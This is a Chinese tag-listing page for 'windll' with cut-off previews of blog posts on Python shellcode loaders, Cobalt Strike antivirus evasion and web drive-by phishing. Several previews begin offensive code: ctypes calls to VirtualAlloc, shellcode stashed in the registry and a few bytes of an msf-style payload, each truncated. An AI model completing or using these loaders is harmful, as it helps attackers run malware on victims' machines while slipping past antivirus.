首页 > TAG信息列表 > windll

我的shellcode loader观-1

包含内容: 1.传统的shellcode loader 2.Python中的加密loader 3.Python相对于shelcode load 的优势 4.cython帮助我们将.py转.c 5.Python中源码混淆工具分享 1 . shellcode loader 这是一个源码: import ctypes shellcode = bytearray(b'') ctypes.windll.kerne

CobaltStrike使用-第九篇-免杀

本篇将会介绍CS payload免杀工具的使用 文章目录 杀毒软件杀软常见扫描方式杀软扫描引擎常见免杀技术 免杀工具使用HanzoInjectionInvoke-PSImagePython脚本封装Artifact KitVeil Evasion免杀插件 常规杀毒软件的目的就是发现已知病毒并中止删除它，而作为攻击者则需要

python shellcode加载器

默认是x64位的msf from ctypes import * from ctypes import wintypes import ctypes buf = b"" buf += b"\x56\xff\xd5" ctypes.windll.Advapi32.RegSetValueExA(-2147483647, "test", None, 3, buf,len(buf)) LPBYTE = POINTER(c_byte) ctype

Cobalt Strike从入门到精通之Web Drive-By web钓鱼攻击

https://www.bilibili.com/video/BV1P64y1f7e1?p=6 Cobalt Strike Web Drive-By web钓鱼攻击 在这里补充一个上节课的新的知识点，如何使用python语言的payload 加载器去攻击 # length: 894 bytes from ctypes import * import ctypes buf = "" #这里填写payload PROT_READ = 1 PROT

Cobalt Strike从入门到精通之Web Drive-By web钓鱼攻击

https://www.bilibili.com/video/BV1P64y1f7e1?p=6 Cobalt Strike Web Drive-By web钓鱼攻击 在这里补充一个上节课的新的知识点，如何使用python语言的payload 加载器去攻击 # length: 894 bytes from ctypes import * import ctypes buf = "" #这里填写payload PROT_READ = 1

shellcode加载器编写

Python3 shellcode通用加载器 #!/usr/bin/python3 import ctypes #shellcode 放这个位置 c = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31" shellcode = bytearray(c) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),